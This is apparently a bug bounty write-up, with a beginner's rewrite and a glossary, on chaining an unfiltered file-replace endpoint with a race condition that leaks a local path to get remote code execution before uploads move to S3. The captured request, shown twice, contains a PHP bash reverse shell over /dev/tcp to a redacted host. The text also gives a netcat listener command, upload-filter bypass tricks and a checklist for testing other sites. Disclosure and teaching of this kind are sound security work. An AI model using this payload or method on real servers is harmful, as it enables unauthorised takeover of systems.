Race Condition that could Result to RCE - (A story with an App that temporary stored an uploaded file within 2 seconds before moving it to Amazon S3)
The application's file upload feature temporarily stored uploaded files locally for about two seconds before moving them to an S3 bucket, and a separate modify function lacked extension filtering. By racing multiple upload requests, an attacker could learn the local path and repeatedly request it to execute a PHP reverse shell, achieving remote code execution.
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a story about chaining several bugs on a private bug bounty program, starting from recon and a simple SQL Injection and ending in a race condition that led to remote code execution. The write-up focuses on the RCE, which the author describes as a little unique, and leaves the other bugs for later parts of the series.
The target application had an internal administrator dashboard. Inside that dashboard there was a feature for publishing news or articles, and every section that accepted content had a file upload interface. Files uploaded through that interface were processed by a function the author calls upload.php. The application did not serve uploaded files from its own server: it moved them into an Amazon S3 bucket, so the shell ended up stored on S3 and did not work from there.
The application also had a second function, modify.php, used to replace or delete a previously uploaded file. That second function is where the story turns.
Setup
The researchers reached the internal dashboard using an account that had been dumped from a SQL Injection result. The author writes as "we", referring to Faisal Yudo Hernawan, Tomi and himself.
Tools used in the steps below are Burp Suite (intruder mode for the repeated requests) and netcat for the listener. The listener is started on the attacker's own server with:
nc -lvp listener_port
No product version, endpoint hostname or account details beyond the dashboard access are given.
Finding it
The first upload function filters extensions
After getting into the dashboard, the researchers looked for file upload features and found the news/article publishing feature. Every file uploaded to any available section was processed by upload.php. Uploading a simple .php shell was blocked: the feature filtered the .php extension. The author notes that this same feature had previously been vulnerable through the .phtml extension, and that it had been fixed.
Bypass attempts against the filter all failed. They tried mixed case (for example .PhP), a number after the extension (for example .php3), doubling the extension, a null character, an added ; character, and more. Every attempt returned the same warning.

Figure 3 Protection at the Application
Uploading .html, .xml or .svg did succeed, which raised the possibility of stored XSS. But the file was moved into the S3 bucket, so any XSS would fire on the S3 bucket domain. The researchers had no way to use that further and treated it as not an issue.
A second upload path behind the edit button
Back on the first page of the news section, which holds many forms for adding content, the researchers noticed an edit button on the same row as a legitimate file already uploaded to S3.
Figure 4 Function Edit / Delete the Uploaded File
Clicking edit opened an upload form as well. At first they assumed it filtered .php too, since it seemed it could not differ from the first one. It did not filter any extension: the .php file uploaded directly without trouble.

Figure 5 Upload Feature to Replacing the Existing File
Re-uploading the shell and inspecting the request showed that this endpoint used modify.php, not upload.php. The sample request captured from that function is:
Content-Disposition: form-data; name="fileid"31337-----------------------------[redacted]-Disposition: form-data; name="name"picture-1.png-----------------------------[redacted]-Disposition: form-data; name="description"-----------------------------[redacted]-Disposition: form-data; name="userfile"; filename="reverse.php"Content-Type: text/php<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/[redacted]/21234 0>&1'");-----------------------------[redacted]-Disposition: form-data; name="save"Save
The multipart body carries a fileid of 31337, a name of picture-1.png, an empty description, the uploaded userfile named reverse.php with Content-Type: text/php, and a save field. The file content is a PHP reverse shell that runs bash and connects back to [redacted] on port 21234.
Uploading the shell was not enough. The .php file was also moved into the S3 bucket, and the researchers could not do anything with the uploaded file there.
Exploitation
Step 1: provoke a different response with repeated null requests
Out of ideas, the researchers sent the request multiple times with "null" payloads using Burp Suite intruder mode. After several requests, sometimes around 10, sometimes more than 20 to 30, the response length changed. A normal request returned a response length of 1147; at one point it hit 1710.

Figure 6 Sending Multiple Request with Null Payload
Figure 7 Normal Response with 1147 Response Lengths
Step 2: read the local path out of the error
The longer response revealed the local path of the file.

Figure 8 The Race Condition has Reveals the Local Path
This told the researchers that the file was stored locally for around 1 to 2 seconds before being moved automatically into the S3 bucket. Accessing the path directly in the browser at that point returned "File not Found", and the path shown for the uploaded file still pointed at the S3 bucket location, not the local one.
Step 3: race the upload against the request for the local path
The idea was to run the race condition again while, in parallel, requesting the local path found in the error response. The flow was:
- Set up the listener on the attacker server.
- Replace the existing file through modify.php with the reverse shell.
- Conduct the race condition multiple times; the author notes that 1,000 requests could buffer the time.
- Take the local path from the different response length returned by the race condition.
- Repeatedly access that path in the browser.
- When the application is hit by the race condition again, the shell is triggered into the listener.

Figure 9 Flow of the Execution
After several requests, in the author's case more than 20 to 30, the listener received a shell from the application server.

Figure 1 RCE Result

Figure 10 RCE Result
Root cause
The upload capability exists in two separate functions with different validation. upload.php filters the .php extension; modify.php, which replaces or deletes an already uploaded file, does not filter any extension.
The second part is the storage behaviour. Uploaded files are written to local disk before being moved to the S3 bucket, and that window lasts around 1 to 2 seconds. The race condition error response discloses the file's local path. The author's conclusion is that even 1 or 2 seconds is enough to trigger a shell into a listener.
Impact
The researchers uploaded a .php file through modify.php without extension filtering, learned its local path through the race condition error, and executed it on the application server during the short window before it was moved to S3. In this case that gave a shell on the app's server. The author's own caveats apply: the race condition needed repeated requests (sometimes around 10, sometimes more than 20 to 30), and the timing window is only around 1 to 2 seconds.
Fix
The report does not describe a fix.
Variants to test
- Edit or replace forms next to upload forms. Upload a disallowed extension through the edit/replace endpoint of an existing file. A positive result is the file being accepted where the main upload form rejects it.
- Repeated requests with null payloads. Send the same upload request many times through an intruder and watch response lengths. A positive result is an occasional response with a different length that contains an error disclosing a local path.
- Short-lived local storage before cloud offload. Request the disclosed local path while repeating the upload. A positive result is the file being served from the application server before it is moved to the bucket.
- Extension filter bypasses on the first upload form. Try mixed case, extra numbers, doubled extensions, null characters and added
;characters. A positive result is any of them being accepted where the plain.phpis rejected.
What happened, in plain words
A group of security researchers were testing a website that belonged to a private bug bounty program. A bug bounty program is a deal where a company invites independent testers to look for security holes in its systems and pays them for reporting what they find. The researchers had already found a way into the site's internal administrator dashboard, the private control panel that staff use to manage content. From inside that dashboard they found a file upload feature, and by combining a few small mistakes in how the site handled uploads they eventually managed to run their own commands on the site's server. Running your own commands on someone else's server is called remote code execution, usually shortened to RCE, and it is one of the most serious outcomes a tester can reach.
The write-up is the first part of a planned series. The author writes as "we", meaning Faisal Yudo Hernawan, Tomi and himself, and says the other bugs found along the way will be described in later parts. This part focuses only on the RCE, which the author calls a little unique.
The story has three ingredients. First, the site had two different upload features: one that checked file types and one that did not. Second, the site did not keep uploaded files on its own server; it copied them to Amazon S3, a cloud storage service run by Amazon where files are kept in what are called buckets. Third, for a very short moment, around one or two seconds, each uploaded file existed on the site's own server before being moved to S3. The researchers learned to catch the file during that short moment and make the server run it.
The pieces of the puzzle, explained from zero
Before the steps, a few ideas that come up again and again.
A server and a browser. When you visit a website, your browser (the program on your computer, like Chrome or Firefox) sends a request over the internet to a server, which is a computer that stores the site and answers requests. The server sends back a response, usually a web page. Everything in this story is about requests and responses.
A file upload feature. Many websites let you send a file from your computer to theirs, for example a photo for your profile or a document for an article. Behind the scenes the browser packages the file into the request in a particular format called multipart form data, which is just a way of putting several named pieces (the file, its name, a description, and so on) into one request.
A file extension. The letters after the last dot in a file name, like .php in shell.php, tell the computer what kind of file it is. A .php file is a program written in PHP, a language many websites use. If a server is configured to run .php files, then anyone who can place a .php file on that server and open it in a browser can make the server execute whatever instructions the file contains. That is why upload features usually refuse .php files.
A shell and a reverse shell. A shell is a way to type commands into a computer and see the results. A reverse shell is a small program that, when it runs on the victim's server, connects back out to the attacker's own computer and hands the attacker a command prompt. The attacker waits with a listener, a program that sits on a network port waiting for an incoming connection. The tool used for that here is netcat, a small utility that can open connections and listen on ports.
A race condition. Imagine two people trying to book the last seat on a flight at the same moment. Each request is fine on its own, but because they overlap, something happens that would not happen if they were one after the other. In software, a race condition is a bug where the result depends on the exact timing of two actions happening at once. Testers often trigger it by sending the same request many times in parallel, hoping two of them overlap in a useful way.
Burp Suite and intruder mode. Burp Suite is a tool that sits between your browser and a website so you can look at and change the requests. Its intruder mode takes one request and sends it many times, optionally changing a chosen part each time. The researchers used it to fire the same upload request over and over.
SQL Injection. This is a bug where a website builds a database query out of text a user typed without cleaning it, so the user can sneak in extra database instructions. The researchers had used one to obtain an account, which they then used to log into the dashboard. The details are left for another part of the series.
Amazon S3. A cloud storage service. A bucket is a named container inside it. Files placed in a bucket are served from Amazon's domain, not from the website's own server, so a program placed there does not run on the website's server.
Getting into the dashboard and meeting the first upload form
With the account taken from the SQL Injection result, the researchers logged into the internal administrator dashboard. They did not stop there: they went looking for file upload features. After a few minutes they found the feature used to publish news or articles. Every section that accepted content, news, articles or anything else, had an upload interface, and every file sent through it was handled by a function the author calls upload.php. A function here just means a piece of the website's code that does a particular job.

Figure 2 Interface of Upload Feature
The first thing they tried was uploading a simple .php shell through this form. It was blocked. The form checked the file extension and refused .php. The author notes that this same feature had once been vulnerable through the .phtml extension, another extension some servers also treat as PHP, and that this had been fixed.
They then tried a long list of tricks to get past the check. They mixed upper and lower case, for example .PhP, because some filters compare text case-sensitively and miss the variant. They added a number after the extension, for example .php3, because some servers still run such files as PHP. They tried doubling the extension, a null character, an added ; character, and more. All of it failed, and every attempt produced the same warning.

Figure 3 Protection at the Application
Next they wondered about stored XSS. XSS, cross-site scripting, is a bug where a site stores content that contains a script, and later shows that content to other users, whose browsers then run the script. A .html, .xml or .svg file can carry such a script. Those formats uploaded successfully. But the file was then moved into the S3 bucket, so any script would run on the S3 domain rather than on the site itself. The researchers could not see a way to use that, so they set it aside.
The edit button and the second upload form
Back on the first page of the news section, which holds many forms for adding content, they looked more carefully. Next to a legitimate file already uploaded to S3 there was an edit button on the same row.
Figure 4 Function Edit / Delete the Uploaded File
Clicking edit opened an upload form as well. At first they assumed it would filter .php too, because it seemed it could not behave differently from the first one. It did not filter any extension at all. The .php file went straight through without trouble.

Figure 5 Upload Feature to Replacing the Existing File
To understand what was happening, they re-uploaded the shell and looked at the request the browser had sent. The endpoint, meaning the address the request was sent to, used a different function: modify.php, not upload.php. Here is the sample request captured from that function:
Content-Disposition: form-data; name="fileid"31337-----------------------------[redacted]-Disposition: form-data; name="name"picture-1.png-----------------------------[redacted]-Disposition: form-data; name="description"-----------------------------[redacted]-Disposition: form-data; name="userfile"; filename="reverse.php"Content-Type: text/php<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/[redacted]/21234 0>&1'");-----------------------------[redacted]-Disposition: form-data; name="save"Save
Line by line, in plain words:
Content-Disposition: form-data; name="fileid"followed by31337is the first field of the form. It carries an identifier,31337, which tells the server which existing file is being replaced. Think of it as the row number of the file in a list.-----------------------------09234599689937136550676151776is a boundary, a separator string that marks where one field ends and the next begins. The browser picks it and puts it between every part of the request.Content-Disposition: form-data; name="name"followed bypicture-1.pngis the display name given to the file, here the name of the picture it replaces.Content-Disposition: form-data; name="description"with nothing after it is an empty description field.Content-Disposition: form-data; name="userfile"; filename="reverse.php"is the actual uploaded file. The field is calleduserfileand the file is namedreverse.php, so the server sees a.phpextension.Content-Type: text/phpis the label the browser attaches to the file's content, saying what type it is.<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/[redacted]/21234 0>&1'");is the content of the file.<?phpopens a PHP program.exec(...)asks PHP to run a system command. The command is/bin/bash -c 'bash -i >& /dev/tcp/[redacted]/21234 0>&1', which starts bash, an interactive command shell, and connects its input and output to the address[redacted]on port21234. That address and port belong to the researchers' own server, so when this file runs, the victim server calls back to them. This is the reverse shell.Content-Disposition: form-data; name="save"followed bySaveis the button that was pressed, telling the server to save the change.
Uploading the shell was still not enough. The .php file was also moved into the S3 bucket, and once there the researchers could do nothing with it. The server would not run it from Amazon's storage.
The race condition and the leaked local path
Out of ideas, the researchers sent the request many times with "null" payloads using Burp Suite's intruder mode. The author does not explain the reasoning beyond that.
After several requests, sometimes around 10, sometimes more than 20 to 30, the response changed size. A normal request returned a response length of 1147. At one point a response came back at 1710. Response length is a simple signal: if the same request normally produces the same answer, a different length means the server took a different path.

Figure 6 Sending Multiple Request with Null Payload
Figure 7 Normal Response with 1147 Response Lengths
The longer response contained an error, and that error revealed the local path of the file, meaning the folder and file name where the file sat.

Figure 8 The Race Condition has Reveals the Local Path
This was the key insight. The file was stored locally for around one to two seconds before being moved automatically into the S3 bucket. Accessing the path directly in the browser at that moment returned "File not Found", and the path shown for the uploaded file still pointed at the S3 bucket location, not the local one. So the local copy exists only briefly, and only sometimes.
Turning the race into a shell
The idea was to run the race condition again while, in parallel, requesting the local path found in the error response. The flow was:
- Set up the listener on the attacker server.
- Replace the existing file through modify.php with the reverse shell.
- Conduct the race condition multiple times; the author notes that 1,000 requests could buffer the time.
- Take the local path from the different response length returned by the race condition.
- Repeatedly access that path in the browser.
- When the application is hit by the race condition again, the shell is triggered into the listener.

Figure 9 Flow of the Execution
The listener is started on the researchers' own server with:
nc -lvp listener_port
In plain words: nc is netcat. -l tells it to listen rather than connect out. -v makes it verbose, so it prints what happens. -p says the next value is the port to listen on, written here as listener_port in place of a real number. When the reverse shell on the victim server runs, it connects to this port and the researchers get a command prompt.
After several requests, in the author's case more than 20 to 30, the listener received a shell from the application server.

Figure 1 RCE Result

Figure 10 RCE Result
Why it worked
The upload capability exists in two separate functions with different validation. upload.php filters the .php extension. modify.php, which replaces or deletes an already uploaded file, does not filter any extension.
The second part is the storage behaviour. Uploaded files are written to local disk before being moved to the S3 bucket, and that window lasts around one to two seconds. The race condition error response discloses the file's local path. The author's conclusion is that even one or two seconds is enough to trigger a shell into a listener.
What an attacker could do with it
The researchers uploaded a .php file through modify.php without extension filtering, learned its local path through the race condition error, and executed it on the application server during the short window before it was moved to S3. In this case that gave a shell on the app's server. The author's own caveats apply: the race condition needed repeated requests, sometimes around 10, sometimes more than 20 to 30, and the timing window is only around one to two seconds.
How to fix it
The report does not describe a fix.
Things worth trying on other sites
- Edit or replace forms next to upload forms. Upload a disallowed extension through the edit or replace endpoint of an existing file. A positive result is the file being accepted where the main upload form rejects it.
- Repeated requests with null payloads. Send the same upload request many times through an intruder and watch response lengths. A positive result is an occasional response with a different length that contains an error disclosing a local path.
- Short-lived local storage before cloud offload. Request the disclosed local path while repeating the upload. A positive result is the file being served from the application server before it is moved to the bucket.
- Extension filter bypasses on the first upload form. Try mixed case, extra numbers, doubled extensions, null characters and added
;characters. A positive result is any of them being accepted where the plain.phpis rejected.
Glossary
- Bug bounty program: an arrangement where a company invites independent testers to find security holes and pays them for valid reports.
- Remote code execution (RCE): a bug that lets an attacker run their own commands on someone else's server.
- Server: a computer that stores a website and answers requests from browsers.
- Browser: the program on your computer used to visit websites.
- Request and response: the message a browser sends to a server, and the message the server sends back.
- Endpoint: the address a request is sent to, handled by a particular piece of the site's code.
- Function: a piece of code that performs a particular job, here
upload.phpandmodify.php. - File extension: the letters after the last dot in a file name, which indicate the file type.
- PHP: a programming language commonly used to build websites; servers can be set up to run
.phpfiles. - Multipart form data: a format for putting several named pieces, such as a file and its description, into one request.
- Boundary: the separator string that marks where one part of a multipart request ends and the next begins.
- Content-Disposition: the part of a multipart request that names a field and, for a file, gives its file name.
- Content-Type: a label saying what type a piece of content is.
- Shell: a way to type commands into a computer and see the results.
- Reverse shell: a program that runs on the victim server and connects back to the attacker, giving the attacker a command prompt.
- Listener: a program waiting on a network port for an incoming connection.
- Netcat (
nc): a small utility that can open connections and listen on ports. - Port: a numbered channel on a computer that network connections use.
- Race condition: a bug where the result depends on the exact timing of two actions happening at once.
- Burp Suite: a tool that sits between browser and website so requests can be inspected and changed.
- Intruder mode: a Burp Suite feature that sends one request many times, optionally changing a chosen part each time.
- Null payload: here, a repeated request carrying no useful file content, sent only to hammer the endpoint.
- Response length: the size in bytes of the server's answer; a change in it can signal that the server behaved differently.
- Local path: the folder and file name of a file on the server's own disk.
- Amazon S3: Amazon's cloud storage service.
- Bucket: a named container inside S3 where files are stored.
- Stored XSS: a bug where a site stores content containing a script and later shows it to users, whose browsers run it.
- SQL Injection: a bug where a site builds a database query from uncleaned user input, letting the user sneak in extra database instructions.
- Administrator dashboard: the private control panel staff use to manage a site's content.
- Private program: a bug bounty program that is not open to the public and is run for a specific company or group of testers.